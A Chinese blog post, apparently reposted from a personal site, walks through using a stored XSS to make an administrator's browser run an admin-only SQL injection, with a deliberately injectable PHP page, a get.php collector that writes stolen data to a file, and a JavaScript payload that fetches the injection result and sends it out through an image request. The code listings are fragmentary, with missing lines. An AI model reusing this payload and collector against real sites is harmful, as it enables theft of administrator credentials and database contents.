昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
02 | @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING); |
03 | $con = mysql_connect("localhost","root",""); |
04 | if(!$con) {die('Could not connect: ' . mysql_error());} |
05 | mysql_select_db("test",$con); |
07 | $sql = "select id,realname from test where id="."$id"; |
08 | $view = mysql_query($sql); |
09 | $row = mysql_fetch_array($view); |
10 | echo $row[id]."<br />"; |
11 | echo $row[realname]."<br />"; |
mysql数据库:
3 | column:test.id、test.realname |
4 | admin.id、admin.username、admin.password |
get.php(获取的注入后数据截取)
2 | $file = fopen("data.txt","a"); |
3 | fwrite($file,$_GET['get']); |
xsssqli.js(payload)
01 | function addLoadEvent(func) |
03 | var oldfunc=window.onload; |
04 | if(typeof(window.onload)!="function") |
10 | window.onload=function() |
21 | if(window.XMLHttpRequest) |
23 | ajax = new XMLHttpRequest(); |
25 | else if(window.ActiveXObject) |
27 | ajax = new ActiveXObject("Microsoft.XMLHTTP"); |
33 | ajax.open("GET", url, true); |
35 | ajax.onreadystatechange = function() |
37 | if(ajax.readyState == 4 && ajax.status == 200) |
39 | var img = document.createElement("img"); |
41 | document.body.appendChild(img); |
45 | addLoadEvent(get_xsssqli); |
模拟xss漏洞
3 | <title>use xss to sqli</title> |
6 | <script src=http://127.0.0.1/xss/get.js ></script> |
最后成功得到数据:

当然你也可以写个正则截获指定数据!
转载请指明出处:L.N.博客 http://lanu.sinaapp.com/htmlcssjisxml/112.html
没有评论:
发表评论